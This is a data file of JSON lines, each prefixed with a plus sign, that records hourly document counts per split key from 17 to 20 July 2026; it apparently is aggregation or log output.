+{"doc_count":790,"split_key":37963,"timestamp":"2026-07-17T11:00:00.000Z"} +{"doc_count":628,"split_key":63737,"timestamp":"2026-07-17T11:00:00.000Z"} +{"doc_count":17021,"split_key":209334,"timestamp":"2026-07-17T12:00:00.000Z"} +{"doc_count":1608,"split_key":5384,"timestamp":"2026-07-17T12:00:00.000Z"} +{"doc_count":1050,"split_key":24323,"timestamp":"2026-07-17T12:00:00.000Z"} +{"doc_count":835,"split_key":51396,"timestamp":"2026-07-17T12:00:00.000Z"} +{"doc_count":766,"split_key":37963,"timestamp":"2026-07-17T12:00:00.000Z"} +{"doc_count":27903,"split_key":209334,"timestamp":"2026-07-17T13:00:00.000Z"} +{"doc_count":1378,"split_key":63737,"timestamp":"2026-07-17T13:00:00.000Z"} +{"doc_count":826,"split_key":37963,"timestamp":"2026-07-17T13:00:00.000Z"} +{"doc_count":658,"split_key":51396,"timestamp":"2026-07-17T13:00:00.000Z"} +{"doc_count":555,"split_key":24323,"timestamp":"2026-07-17T13:00:00.000Z"} +{"doc_count":17425,"split_key":209334,"timestamp":"2026-07-17T14:00:00.000Z"} +{"doc_count":962,"split_key":37963,"timestamp":"2026-07-17T14:00:00.000Z"} +{"doc_count":549,"split_key":14061,"timestamp":"2026-07-17T14:00:00.000Z"} +{"doc_count":424,"split_key":16509,"timestamp":"2026-07-17T14:00:00.000Z"} +{"doc_count":413,"split_key":213412,"timestamp":"2026-07-17T14:00:00.000Z"} +{"doc_count":12280,"split_key":209334,"timestamp":"2026-07-17T15:00:00.000Z"} +{"doc_count":4079,"split_key":49785,"timestamp":"2026-07-17T15:00:00.000Z"} +{"doc_count":877,"split_key":37963,"timestamp":"2026-07-17T15:00:00.000Z"} +{"doc_count":631,"split_key":63737,"timestamp":"2026-07-17T15:00:00.000Z"} +{"doc_count":537,"split_key":14061,"timestamp":"2026-07-17T15:00:00.000Z"} +{"doc_count":3240,"split_key":49785,"timestamp":"2026-07-17T16:00:00.000Z"} +{"doc_count":2398,"split_key":37963,"timestamp":"2026-07-17T16:00:00.000Z"} +{"doc_count":554,"split_key":14061,"timestamp":"2026-07-17T16:00:00.000Z"} +{"doc_count":513,"split_key":14618,"timestamp":"2026-07-17T16:00:00.000Z"} +{"doc_count":480,"split_key":396982,"timestamp":"2026-07-17T16:00:00.000Z"} +{"doc_count":7194,"split_key":206264,"timestamp":"2026-07-17T17:00:00.000Z"} +{"doc_count":3812,"split_key":49785,"timestamp":"2026-07-17T17:00:00.000Z"} +{"doc_count":753,"split_key":37963,"timestamp":"2026-07-17T17:00:00.000Z"} +{"doc_count":703,"split_key":396982,"timestamp":"2026-07-17T17:00:00.000Z"} +{"doc_count":552,"split_key":16509,"timestamp":"2026-07-17T17:00:00.000Z"} +{"doc_count":22272,"split_key":206264,"timestamp":"2026-07-17T18:00:00.000Z"} +{"doc_count":3170,"split_key":49785,"timestamp":"2026-07-17T18:00:00.000Z"} +{"doc_count":1408,"split_key":137899,"timestamp":"2026-07-17T18:00:00.000Z"} +{"doc_count":1017,"split_key":14061,"timestamp":"2026-07-17T18:00:00.000Z"} +{"doc_count":858,"split_key":37963,"timestamp":"2026-07-17T18:00:00.000Z"} +{"doc_count":2928,"split_key":49785,"timestamp":"2026-07-17T19:00:00.000Z"} +{"doc_count":1961,"split_key":206264,"timestamp":"2026-07-17T19:00:00.000Z"} +{"doc_count":1018,"split_key":37963,"timestamp":"2026-07-17T19:00:00.000Z"} +{"doc_count":564,"split_key":63737,"timestamp":"2026-07-17T19:00:00.000Z"} +{"doc_count":556,"split_key":396982,"timestamp":"2026-07-17T19:00:00.000Z"} +{"doc_count":14731,"split_key":206264,"timestamp":"2026-07-17T20:00:00.000Z"} +{"doc_count":2094,"split_key":49785,"timestamp":"2026-07-17T20:00:00.000Z"} +{"doc_count":1147,"split_key":37963,"timestamp":"2026-07-17T20:00:00.000Z"} +{"doc_count":570,"split_key":396982,"timestamp":"2026-07-17T20:00:00.000Z"} +{"doc_count":559,"split_key":63737,"timestamp":"2026-07-17T20:00:00.000Z"} +{"doc_count":13732,"split_key":206264,"timestamp":"2026-07-17T21:00:00.000Z"} +{"doc_count":984,"split_key":37963,"timestamp":"2026-07-17T21:00:00.000Z"} +{"doc_count":885,"split_key":49785,"timestamp":"2026-07-17T21:00:00.000Z"} +{"doc_count":852,"split_key":396982,"timestamp":"2026-07-17T21:00:00.000Z"} +{"doc_count":670,"split_key":7393,"timestamp":"2026-07-17T21:00:00.000Z"} +{"doc_count":13980,"split_key":206264,"timestamp":"2026-07-17T22:00:00.000Z"} +{"doc_count":648,"split_key":37963,"timestamp":"2026-07-17T22:00:00.000Z"} +{"doc_count":575,"split_key":396982,"timestamp":"2026-07-17T22:00:00.000Z"} +{"doc_count":552,"split_key":63737,"timestamp":"2026-07-17T22:00:00.000Z"} +{"doc_count":493,"split_key":16509,"timestamp":"2026-07-17T22:00:00.000Z"} +{"doc_count":17401,"split_key":209334,"timestamp":"2026-07-17T23:00:00.000Z"} +{"doc_count":13858,"split_key":206264,"timestamp":"2026-07-17T23:00:00.000Z"} +{"doc_count":12525,"split_key":7393,"timestamp":"2026-07-17T23:00:00.000Z"} +{"doc_count":817,"split_key":14061,"timestamp":"2026-07-17T23:00:00.000Z"} +{"doc_count":700,"split_key":37963,"timestamp":"2026-07-17T23:00:00.000Z"} +{"doc_count":27058,"split_key":209334,"timestamp":"2026-07-18T00:00:00.000Z"} +{"doc_count":13838,"split_key":206264,"timestamp":"2026-07-18T00:00:00.000Z"} +{"doc_count":11026,"split_key":14987,"timestamp":"2026-07-18T00:00:00.000Z"} +{"doc_count":1805,"split_key":63949,"timestamp":"2026-07-18T00:00:00.000Z"} +{"doc_count":892,"split_key":37963,"timestamp":"2026-07-18T00:00:00.000Z"} +{"doc_count":27876,"split_key":209334,"timestamp":"2026-07-18T01:00:00.000Z"} +{"doc_count":13916,"split_key":206264,"timestamp":"2026-07-18T01:00:00.000Z"} +{"doc_count":1289,"split_key":37963,"timestamp":"2026-07-18T01:00:00.000Z"} +{"doc_count":761,"split_key":396982,"timestamp":"2026-07-18T01:00:00.000Z"} +{"doc_count":697,"split_key":201401,"timestamp":"2026-07-18T01:00:00.000Z"} +{"doc_count":19530,"split_key":209334,"timestamp":"2026-07-18T02:00:00.000Z"} +{"doc_count":13885,"split_key":206264,"timestamp":"2026-07-18T02:00:00.000Z"} +{"doc_count":1027,"split_key":37963,"timestamp":"2026-07-18T02:00:00.000Z"} +{"doc_count":722,"split_key":396982,"timestamp":"2026-07-18T02:00:00.000Z"} +{"doc_count":632,"split_key":16509,"timestamp":"2026-07-18T02:00:00.000Z"} +{"doc_count":13800,"split_key":206264,"timestamp":"2026-07-18T03:00:00.000Z"} +{"doc_count":1422,"split_key":137899,"timestamp":"2026-07-18T03:00:00.000Z"} +{"doc_count":914,"split_key":37963,"timestamp":"2026-07-18T03:00:00.000Z"} +{"doc_count":784,"split_key":396982,"timestamp":"2026-07-18T03:00:00.000Z"} +{"doc_count":669,"split_key":16509,"timestamp":"2026-07-18T03:00:00.000Z"} +{"doc_count":13992,"split_key":206264,"timestamp":"2026-07-18T04:00:00.000Z"} +{"doc_count":1547,"split_key":37963,"timestamp":"2026-07-18T04:00:00.000Z"} +{"doc_count":1126,"split_key":25369,"timestamp":"2026-07-18T04:00:00.000Z"} +{"doc_count":824,"split_key":396982,"timestamp":"2026-07-18T04:00:00.000Z"} +{"doc_count":729,"split_key":16509,"timestamp":"2026-07-18T04:00:00.000Z"} +{"doc_count":13997,"split_key":206264,"timestamp":"2026-07-18T05:00:00.000Z"} +{"doc_count":1017,"split_key":25369,"timestamp":"2026-07-18T05:00:00.000Z"} +{"doc_count":977,"split_key":396982,"timestamp":"2026-07-18T05:00:00.000Z"} +{"doc_count":878,"split_key":37963,"timestamp":"2026-07-18T05:00:00.000Z"} +{"doc_count":719,"split_key":51396,"timestamp":"2026-07-18T05:00:00.000Z"} +{"doc_count":13738,"split_key":206264,"timestamp":"2026-07-18T06:00:00.000Z"} +{"doc_count":902,"split_key":16509,"timestamp":"2026-07-18T06:00:00.000Z"} +{"doc_count":802,"split_key":37963,"timestamp":"2026-07-18T06:00:00.000Z"} +{"doc_count":620,"split_key":396982,"timestamp":"2026-07-18T06:00:00.000Z"} +{"doc_count":606,"split_key":63737,"timestamp":"2026-07-18T06:00:00.000Z"} +{"doc_count":19779,"split_key":14061,"timestamp":"2026-07-18T07:00:00.000Z"} +{"doc_count":14025,"split_key":206264,"timestamp":"2026-07-18T07:00:00.000Z"} +{"doc_count":10987,"split_key":209334,"timestamp":"2026-07-18T07:00:00.000Z"} +{"doc_count":1279,"split_key":200239,"timestamp":"2026-07-18T07:00:00.000Z"} +{"doc_count":914,"split_key":37963,"timestamp":"2026-07-18T07:00:00.000Z"} +{"doc_count":23808,"split_key":14061,"timestamp":"2026-07-18T08:00:00.000Z"} +{"doc_count":17557,"split_key":209334,"timestamp":"2026-07-18T08:00:00.000Z"} +{"doc_count":13878,"split_key":206264,"timestamp":"2026-07-18T08:00:00.000Z"} +{"doc_count":820,"split_key":37963,"timestamp":"2026-07-18T08:00:00.000Z"} +{"doc_count":682,"split_key":201401,"timestamp":"2026-07-18T08:00:00.000Z"} +{"doc_count":15682,"split_key":209334,"timestamp":"2026-07-18T09:00:00.000Z"} +{"doc_count":14033,"split_key":206264,"timestamp":"2026-07-18T09:00:00.000Z"} +{"doc_count":1787,"split_key":14061,"timestamp":"2026-07-18T09:00:00.000Z"} +{"doc_count":941,"split_key":396982,"timestamp":"2026-07-18T09:00:00.000Z"} +{"doc_count":767,"split_key":16509,"timestamp":"2026-07-18T09:00:00.000Z"} +{"doc_count":21442,"split_key":209334,"timestamp":"2026-07-18T10:00:00.000Z"} +{"doc_count":10225,"split_key":206264,"timestamp":"2026-07-18T10:00:00.000Z"} +{"doc_count":2937,"split_key":14061,"timestamp":"2026-07-18T10:00:00.000Z"} +{"doc_count":879,"split_key":37963,"timestamp":"2026-07-18T10:00:00.000Z"} +{"doc_count":719,"split_key":201401,"timestamp":"2026-07-18T10:00:00.000Z"} +{"doc_count":25354,"split_key":209334,"timestamp":"2026-07-18T11:00:00.000Z"} +{"doc_count":16446,"split_key":206264,"timestamp":"2026-07-18T11:00:00.000Z"} +{"doc_count":13212,"split_key":14061,"timestamp":"2026-07-18T11:00:00.000Z"} +{"doc_count":1025,"split_key":16509,"timestamp":"2026-07-18T11:00:00.000Z"} +{"doc_count":886,"split_key":37963,"timestamp":"2026-07-18T11:00:00.000Z"} +{"doc_count":21588,"split_key":206264,"timestamp":"2026-07-18T12:00:00.000Z"} +{"doc_count":17732,"split_key":209334,"timestamp":"2026-07-18T12:00:00.000Z"} +{"doc_count":6674,"split_key":14061,"timestamp":"2026-07-18T12:00:00.000Z"} +{"doc_count":1266,"split_key":137899,"timestamp":"2026-07-18T12:00:00.000Z"} +{"doc_count":1173,"split_key":396982,"timestamp":"2026-07-18T12:00:00.000Z"} +{"doc_count":27076,"split_key":209334,"timestamp":"2026-07-18T13:00:00.000Z"} +{"doc_count":13031,"split_key":206264,"timestamp":"2026-07-18T13:00:00.000Z"} +{"doc_count":1636,"split_key":396982,"timestamp":"2026-07-18T13:00:00.000Z"} +{"doc_count":719,"split_key":16509,"timestamp":"2026-07-18T13:00:00.000Z"} +{"doc_count":719,"split_key":201401,"timestamp":"2026-07-18T13:00:00.000Z"} +{"doc_count":21100,"split_key":206264,"timestamp":"2026-07-18T14:00:00.000Z"} +{"doc_count":14051,"split_key":209334,"timestamp":"2026-07-18T14:00:00.000Z"} +{"doc_count":1775,"split_key":57724,"timestamp":"2026-07-18T14:00:00.000Z"} +{"doc_count":1125,"split_key":396982,"timestamp":"2026-07-18T14:00:00.000Z"} +{"doc_count":738,"split_key":16509,"timestamp":"2026-07-18T14:00:00.000Z"} +{"doc_count":13515,"split_key":209334,"timestamp":"2026-07-18T15:00:00.000Z"} +{"doc_count":9066,"split_key":206264,"timestamp":"2026-07-18T15:00:00.000Z"} +{"doc_count":1422,"split_key":57724,"timestamp":"2026-07-18T15:00:00.000Z"} +{"doc_count":1067,"split_key":396982,"timestamp":"2026-07-18T15:00:00.000Z"} +{"doc_count":623,"split_key":63737,"timestamp":"2026-07-18T15:00:00.000Z"} +{"doc_count":8977,"split_key":206264,"timestamp":"2026-07-18T16:00:00.000Z"} +{"doc_count":704,"split_key":16509,"timestamp":"2026-07-18T16:00:00.000Z"} +{"doc_count":599,"split_key":63737,"timestamp":"2026-07-18T16:00:00.000Z"} +{"doc_count":519,"split_key":37963,"timestamp":"2026-07-18T16:00:00.000Z"} +{"doc_count":475,"split_key":44382,"timestamp":"2026-07-18T16:00:00.000Z"} +{"doc_count":17800,"split_key":206264,"timestamp":"2026-07-18T17:00:00.000Z"} +{"doc_count":1820,"split_key":213252,"timestamp":"2026-07-18T17:00:00.000Z"} +{"doc_count":631,"split_key":63737,"timestamp":"2026-07-18T17:00:00.000Z"} +{"doc_count":628,"split_key":398101,"timestamp":"2026-07-18T17:00:00.000Z"} +{"doc_count":590,"split_key":37963,"timestamp":"2026-07-18T17:00:00.000Z"} +{"doc_count":16022,"split_key":206264,"timestamp":"2026-07-18T18:00:00.000Z"} +{"doc_count":1196,"split_key":58791,"timestamp":"2026-07-18T18:00:00.000Z"} +{"doc_count":790,"split_key":37963,"timestamp":"2026-07-18T18:00:00.000Z"} +{"doc_count":785,"split_key":16509,"timestamp":"2026-07-18T18:00:00.000Z"} +{"doc_count":585,"split_key":63737,"timestamp":"2026-07-18T18:00:00.000Z"} +{"doc_count":16896,"split_key":206264,"timestamp":"2026-07-18T19:00:00.000Z"} +{"doc_count":1165,"split_key":51396,"timestamp":"2026-07-18T19:00:00.000Z"} +{"doc_count":712,"split_key":16509,"timestamp":"2026-07-18T19:00:00.000Z"} +{"doc_count":689,"split_key":37963,"timestamp":"2026-07-18T19:00:00.000Z"} +{"doc_count":633,"split_key":197540,"timestamp":"2026-07-18T19:00:00.000Z"} +{"doc_count":16511,"split_key":206264,"timestamp":"2026-07-18T20:00:00.000Z"} +{"doc_count":1193,"split_key":137899,"timestamp":"2026-07-18T20:00:00.000Z"} +{"doc_count":795,"split_key":16509,"timestamp":"2026-07-18T20:00:00.000Z"} +{"doc_count":667,"split_key":396982,"timestamp":"2026-07-18T20:00:00.000Z"} +{"doc_count":659,"split_key":51396,"timestamp":"2026-07-18T20:00:00.000Z"} +{"doc_count":14789,"split_key":206264,"timestamp":"2026-07-18T21:00:00.000Z"} +{"doc_count":1298,"split_key":37963,"timestamp":"2026-07-18T21:00:00.000Z"} +{"doc_count":981,"split_key":396982,"timestamp":"2026-07-18T21:00:00.000Z"} +{"doc_count":860,"split_key":140456,"timestamp":"2026-07-18T21:00:00.000Z"} +{"doc_count":586,"split_key":398101,"timestamp":"2026-07-18T21:00:00.000Z"} +{"doc_count":9665,"split_key":206264,"timestamp":"2026-07-18T22:00:00.000Z"} +{"doc_count":1177,"split_key":37963,"timestamp":"2026-07-18T22:00:00.000Z"} +{"doc_count":845,"split_key":140456,"timestamp":"2026-07-18T22:00:00.000Z"} +{"doc_count":759,"split_key":16509,"timestamp":"2026-07-18T22:00:00.000Z"} +{"doc_count":649,"split_key":398101,"timestamp":"2026-07-18T22:00:00.000Z"} +{"doc_count":13411,"split_key":209334,"timestamp":"2026-07-18T23:00:00.000Z"} +{"doc_count":9115,"split_key":206264,"timestamp":"2026-07-18T23:00:00.000Z"} +{"doc_count":865,"split_key":140456,"timestamp":"2026-07-18T23:00:00.000Z"} +{"doc_count":768,"split_key":16509,"timestamp":"2026-07-18T23:00:00.000Z"} +{"doc_count":570,"split_key":37963,"timestamp":"2026-07-18T23:00:00.000Z"} +{"doc_count":28229,"split_key":209334,"timestamp":"2026-07-19T00:00:00.000Z"} +{"doc_count":8798,"split_key":206264,"timestamp":"2026-07-19T00:00:00.000Z"} +{"doc_count":813,"split_key":396982,"timestamp":"2026-07-19T00:00:00.000Z"} +{"doc_count":710,"split_key":201401,"timestamp":"2026-07-19T00:00:00.000Z"} +{"doc_count":625,"split_key":140456,"timestamp":"2026-07-19T00:00:00.000Z"} +{"doc_count":26631,"split_key":209334,"timestamp":"2026-07-19T01:00:00.000Z"} +{"doc_count":8995,"split_key":206264,"timestamp":"2026-07-19T01:00:00.000Z"} +{"doc_count":1040,"split_key":396982,"timestamp":"2026-07-19T01:00:00.000Z"} +{"doc_count":658,"split_key":40663,"timestamp":"2026-07-19T01:00:00.000Z"} +{"doc_count":654,"split_key":201401,"timestamp":"2026-07-19T01:00:00.000Z"} +{"doc_count":19257,"split_key":209334,"timestamp":"2026-07-19T02:00:00.000Z"} +{"doc_count":8861,"split_key":206264,"timestamp":"2026-07-19T02:00:00.000Z"} +{"doc_count":1190,"split_key":396982,"timestamp":"2026-07-19T02:00:00.000Z"} +{"doc_count":949,"split_key":16509,"timestamp":"2026-07-19T02:00:00.000Z"} +{"doc_count":802,"split_key":51396,"timestamp":"2026-07-19T02:00:00.000Z"} +{"doc_count":9114,"split_key":206264,"timestamp":"2026-07-19T03:00:00.000Z"} +{"doc_count":1319,"split_key":37963,"timestamp":"2026-07-19T03:00:00.000Z"} +{"doc_count":1179,"split_key":396982,"timestamp":"2026-07-19T03:00:00.000Z"} +{"doc_count":817,"split_key":16509,"timestamp":"2026-07-19T03:00:00.000Z"} +{"doc_count":548,"split_key":63737,"timestamp":"2026-07-19T03:00:00.000Z"} +{"doc_count":9144,"split_key":206264,"timestamp":"2026-07-19T04:00:00.000Z"} +{"doc_count":1287,"split_key":37963,"timestamp":"2026-07-19T04:00:00.000Z"} +{"doc_count":1145,"split_key":25369,"timestamp":"2026-07-19T04:00:00.000Z"} +{"doc_count":1067,"split_key":16509,"timestamp":"2026-07-19T04:00:00.000Z"} +{"doc_count":795,"split_key":396982,"timestamp":"2026-07-19T04:00:00.000Z"} +{"doc_count":9539,"split_key":206264,"timestamp":"2026-07-19T05:00:00.000Z"} +{"doc_count":1408,"split_key":137899,"timestamp":"2026-07-19T05:00:00.000Z"} +{"doc_count":1233,"split_key":37963,"timestamp":"2026-07-19T05:00:00.000Z"} +{"doc_count":1087,"split_key":396982,"timestamp":"2026-07-19T05:00:00.000Z"} +{"doc_count":989,"split_key":25369,"timestamp":"2026-07-19T05:00:00.000Z"} +{"doc_count":9512,"split_key":206264,"timestamp":"2026-07-19T06:00:00.000Z"} +{"doc_count":1160,"split_key":37963,"timestamp":"2026-07-19T06:00:00.000Z"} +{"doc_count":890,"split_key":16509,"timestamp":"2026-07-19T06:00:00.000Z"} +{"doc_count":781,"split_key":28890,"timestamp":"2026-07-19T06:00:00.000Z"} +{"doc_count":723,"split_key":396982,"timestamp":"2026-07-19T06:00:00.000Z"} +{"doc_count":10068,"split_key":209334,"timestamp":"2026-07-19T07:00:00.000Z"} +{"doc_count":9301,"split_key":206264,"timestamp":"2026-07-19T07:00:00.000Z"} +{"doc_count":2457,"split_key":63949,"timestamp":"2026-07-19T07:00:00.000Z"} +{"doc_count":1620,"split_key":201401,"timestamp":"2026-07-19T07:00:00.000Z"} +{"doc_count":1197,"split_key":37963,"timestamp":"2026-07-19T07:00:00.000Z"} +{"doc_count":16081,"split_key":209334,"timestamp":"2026-07-19T08:00:00.000Z"} +{"doc_count":9252,"split_key":206264,"timestamp":"2026-07-19T08:00:00.000Z"} +{"doc_count":1656,"split_key":201401,"timestamp":"2026-07-19T08:00:00.000Z"} +{"doc_count":1229,"split_key":37963,"timestamp":"2026-07-19T08:00:00.000Z"} +{"doc_count":939,"split_key":16509,"timestamp":"2026-07-19T08:00:00.000Z"} +{"doc_count":15331,"split_key":209334,"timestamp":"2026-07-19T09:00:00.000Z"} +{"doc_count":12504,"split_key":206264,"timestamp":"2026-07-19T09:00:00.000Z"} +{"doc_count":1508,"split_key":201401,"timestamp":"2026-07-19T09:00:00.000Z"} +{"doc_count":1181,"split_key":37963,"timestamp":"2026-07-19T09:00:00.000Z"} +{"doc_count":949,"split_key":16509,"timestamp":"2026-07-19T09:00:00.000Z"} +{"doc_count":20393,"split_key":209334,"timestamp":"2026-07-19T10:00:00.000Z"} +{"doc_count":12345,"split_key":206264,"timestamp":"2026-07-19T10:00:00.000Z"} +{"doc_count":1685,"split_key":201401,"timestamp":"2026-07-19T10:00:00.000Z"} +{"doc_count":1108,"split_key":37963,"timestamp":"2026-07-19T10:00:00.000Z"} +{"doc_count":1091,"split_key":16509,"timestamp":"2026-07-19T10:00:00.000Z"} +{"doc_count":21866,"split_key":209334,"timestamp":"2026-07-19T11:00:00.000Z"} +{"doc_count":11966,"split_key":206264,"timestamp":"2026-07-19T11:00:00.000Z"} +{"doc_count":2536,"split_key":45102,"timestamp":"2026-07-19T11:00:00.000Z"} +{"doc_count":1719,"split_key":16509,"timestamp":"2026-07-19T11:00:00.000Z"} +{"doc_count":1685,"split_key":201401,"timestamp":"2026-07-19T11:00:00.000Z"} +{"doc_count":14374,"split_key":209334,"timestamp":"2026-07-19T12:00:00.000Z"} +{"doc_count":11904,"split_key":206264,"timestamp":"2026-07-19T12:00:00.000Z"} +{"doc_count":3321,"split_key":150436,"timestamp":"2026-07-19T12:00:00.000Z"} +{"doc_count":2132,"split_key":45102,"timestamp":"2026-07-19T12:00:00.000Z"} +{"doc_count":1670,"split_key":201401,"timestamp":"2026-07-19T12:00:00.000Z"} +{"doc_count":26106,"split_key":209334,"timestamp":"2026-07-19T13:00:00.000Z"} +{"doc_count":11474,"split_key":206264,"timestamp":"2026-07-19T13:00:00.000Z"} +{"doc_count":8805,"split_key":150436,"timestamp":"2026-07-19T13:00:00.000Z"} +{"doc_count":1708,"split_key":201401,"timestamp":"2026-07-19T13:00:00.000Z"} +{"doc_count":876,"split_key":16509,"timestamp":"2026-07-19T13:00:00.000Z"} +{"doc_count":32878,"split_key":14061,"timestamp":"2026-07-19T14:00:00.000Z"} +{"doc_count":14011,"split_key":206264,"timestamp":"2026-07-19T14:00:00.000Z"} +{"doc_count":12868,"split_key":209334,"timestamp":"2026-07-19T14:00:00.000Z"} +{"doc_count":1563,"split_key":201401,"timestamp":"2026-07-19T14:00:00.000Z"} +{"doc_count":1398,"split_key":137899,"timestamp":"2026-07-19T14:00:00.000Z"} +{"doc_count":51161,"split_key":14061,"timestamp":"2026-07-19T15:00:00.000Z"} +{"doc_count":14064,"split_key":206264,"timestamp":"2026-07-19T15:00:00.000Z"} +{"doc_count":13316,"split_key":209334,"timestamp":"2026-07-19T15:00:00.000Z"} +{"doc_count":1185,"split_key":37963,"timestamp":"2026-07-19T15:00:00.000Z"} +{"doc_count":1183,"split_key":201401,"timestamp":"2026-07-19T15:00:00.000Z"} +{"doc_count":34536,"split_key":14061,"timestamp":"2026-07-19T16:00:00.000Z"} +{"doc_count":13946,"split_key":206264,"timestamp":"2026-07-19T16:00:00.000Z"} +{"doc_count":1282,"split_key":37963,"timestamp":"2026-07-19T16:00:00.000Z"} +{"doc_count":963,"split_key":16509,"timestamp":"2026-07-19T16:00:00.000Z"} +{"doc_count":831,"split_key":51167,"timestamp":"2026-07-19T16:00:00.000Z"} +{"doc_count":14601,"split_key":206264,"timestamp":"2026-07-19T17:00:00.000Z"} +{"doc_count":1132,"split_key":37963,"timestamp":"2026-07-19T17:00:00.000Z"} +{"doc_count":886,"split_key":16509,"timestamp":"2026-07-19T17:00:00.000Z"} +{"doc_count":841,"split_key":51167,"timestamp":"2026-07-19T17:00:00.000Z"} +{"doc_count":577,"split_key":28890,"timestamp":"2026-07-19T17:00:00.000Z"} +{"doc_count":260212,"split_key":211590,"timestamp":"2026-07-19T18:00:00.000Z"} +{"doc_count":14456,"split_key":206264,"timestamp":"2026-07-19T18:00:00.000Z"} +{"doc_count":991,"split_key":16509,"timestamp":"2026-07-19T18:00:00.000Z"} +{"doc_count":919,"split_key":51396,"timestamp":"2026-07-19T18:00:00.000Z"} +{"doc_count":698,"split_key":63737,"timestamp":"2026-07-19T18:00:00.000Z"} +{"doc_count":115427,"split_key":211590,"timestamp":"2026-07-19T19:00:00.000Z"} +{"doc_count":14407,"split_key":206264,"timestamp":"2026-07-19T19:00:00.000Z"} +{"doc_count":1044,"split_key":37963,"timestamp":"2026-07-19T19:00:00.000Z"} +{"doc_count":912,"split_key":16509,"timestamp":"2026-07-19T19:00:00.000Z"} +{"doc_count":573,"split_key":28890,"timestamp":"2026-07-19T19:00:00.000Z"} +{"doc_count":13903,"split_key":206264,"timestamp":"2026-07-19T20:00:00.000Z"} +{"doc_count":1403,"split_key":37963,"timestamp":"2026-07-19T20:00:00.000Z"} +{"doc_count":949,"split_key":16509,"timestamp":"2026-07-19T20:00:00.000Z"} +{"doc_count":691,"split_key":63737,"timestamp":"2026-07-19T20:00:00.000Z"} +{"doc_count":572,"split_key":28890,"timestamp":"2026-07-19T20:00:00.000Z"} +{"doc_count":14434,"split_key":206264,"timestamp":"2026-07-19T21:00:00.000Z"} +{"doc_count":1040,"split_key":37963,"timestamp":"2026-07-19T21:00:00.000Z"} +{"doc_count":854,"split_key":16509,"timestamp":"2026-07-19T21:00:00.000Z"} +{"doc_count":825,"split_key":63737,"timestamp":"2026-07-19T21:00:00.000Z"} +{"doc_count":595,"split_key":396982,"timestamp":"2026-07-19T21:00:00.000Z"} +{"doc_count":15070,"split_key":206264,"timestamp":"2026-07-19T22:00:00.000Z"} +{"doc_count":1080,"split_key":37963,"timestamp":"2026-07-19T22:00:00.000Z"} +{"doc_count":752,"split_key":63737,"timestamp":"2026-07-19T22:00:00.000Z"} +{"doc_count":711,"split_key":16509,"timestamp":"2026-07-19T22:00:00.000Z"} +{"doc_count":567,"split_key":28890,"timestamp":"2026-07-19T22:00:00.000Z"} +{"doc_count":14963,"split_key":206264,"timestamp":"2026-07-19T23:00:00.000Z"} +{"doc_count":13383,"split_key":209334,"timestamp":"2026-07-19T23:00:00.000Z"} +{"doc_count":1623,"split_key":37963,"timestamp":"2026-07-19T23:00:00.000Z"} +{"doc_count":1404,"split_key":137899,"timestamp":"2026-07-19T23:00:00.000Z"} +{"doc_count":893,"split_key":51396,"timestamp":"2026-07-19T23:00:00.000Z"} +{"doc_count":30047,"split_key":209334,"timestamp":"2026-07-20T00:00:00.000Z"} +{"doc_count":16747,"split_key":14987,"timestamp":"2026-07-20T00:00:00.000Z"} +{"doc_count":14306,"split_key":206264,"timestamp":"2026-07-20T00:00:00.000Z"} +{"doc_count":1741,"split_key":37963,"timestamp":"2026-07-20T00:00:00.000Z"} +{"doc_count":1256,"split_key":201401,"timestamp":"2026-07-20T00:00:00.000Z"} +{"doc_count":28041,"split_key":209334,"timestamp":"2026-07-20T01:00:00.000Z"} +{"doc_count":14138,"split_key":206264,"timestamp":"2026-07-20T01:00:00.000Z"} +{"doc_count":2471,"split_key":37963,"timestamp":"2026-07-20T01:00:00.000Z"} +{"doc_count":1667,"split_key":201401,"timestamp":"2026-07-20T01:00:00.000Z"} +{"doc_count":652,"split_key":396982,"timestamp":"2026-07-20T01:00:00.000Z"} +{"doc_count":19508,"split_key":209334,"timestamp":"2026-07-20T02:00:00.000Z"} +{"doc_count":14959,"split_key":206264,"timestamp":"2026-07-20T02:00:00.000Z"} +{"doc_count":2479,"split_key":37963,"timestamp":"2026-07-20T02:00:00.000Z"} +{"doc_count":1502,"split_key":6698,"timestamp":"2026-07-20T02:00:00.000Z"} +{"doc_count":1262,"split_key":201401,"timestamp":"2026-07-20T02:00:00.000Z"} +{"doc_count":15131,"split_key":206264,"timestamp":"2026-07-20T03:00:00.000Z"} +{"doc_count":1948,"split_key":37963,"timestamp":"2026-07-20T03:00:00.000Z"} +{"doc_count":802,"split_key":28890,"timestamp":"2026-07-20T03:00:00.000Z"} +{"doc_count":506,"split_key":396982,"timestamp":"2026-07-20T03:00:00.000Z"} +{"doc_count":462,"split_key":53667,"timestamp":"2026-07-20T03:00:00.000Z"} +{"doc_count":15090,"split_key":206264,"timestamp":"2026-07-20T04:00:00.000Z"} +{"doc_count":1593,"split_key":37963,"timestamp":"2026-07-20T04:00:00.000Z"} +{"doc_count":1177,"split_key":25369,"timestamp":"2026-07-20T04:00:00.000Z"} +{"doc_count":691,"split_key":209334,"timestamp":"2026-07-20T04:00:00.000Z"} +{"doc_count":537,"split_key":53667,"timestamp":"2026-07-20T04:00:00.000Z"} +{"doc_count":14374,"split_key":206264,"timestamp":"2026-07-20T05:00:00.000Z"} +{"doc_count":1034,"split_key":25369,"timestamp":"2026-07-20T05:00:00.000Z"} +{"doc_count":954,"split_key":37963,"timestamp":"2026-07-20T05:00:00.000Z"} +{"doc_count":767,"split_key":396982,"timestamp":"2026-07-20T05:00:00.000Z"} +{"doc_count":469,"split_key":16509,"timestamp":"2026-07-20T05:00:00.000Z"} +{"doc_count":14456,"split_key":206264,"timestamp":"2026-07-20T06:00:00.000Z"} +{"doc_count":1101,"split_key":37963,"timestamp":"2026-07-20T06:00:00.000Z"} +{"doc_count":827,"split_key":209334,"timestamp":"2026-07-20T06:00:00.000Z"} +{"doc_count":582,"split_key":16509,"timestamp":"2026-07-20T06:00:00.000Z"} +{"doc_count":564,"split_key":63737,"timestamp":"2026-07-20T06:00:00.000Z"} +{"doc_count":15220,"split_key":206264,"timestamp":"2026-07-20T07:00:00.000Z"} +{"doc_count":11335,"split_key":209334,"timestamp":"2026-07-20T07:00:00.000Z"} +{"doc_count":3496,"split_key":210940,"timestamp":"2026-07-20T07:00:00.000Z"} +{"doc_count":1202,"split_key":37963,"timestamp":"2026-07-20T07:00:00.000Z"} +{"doc_count":657,"split_key":201401,"timestamp":"2026-07-20T07:00:00.000Z"} +{"doc_count":16209,"split_key":209334,"timestamp":"2026-07-20T08:00:00.000Z"} +{"doc_count":15191,"split_key":206264,"timestamp":"2026-07-20T08:00:00.000Z"} 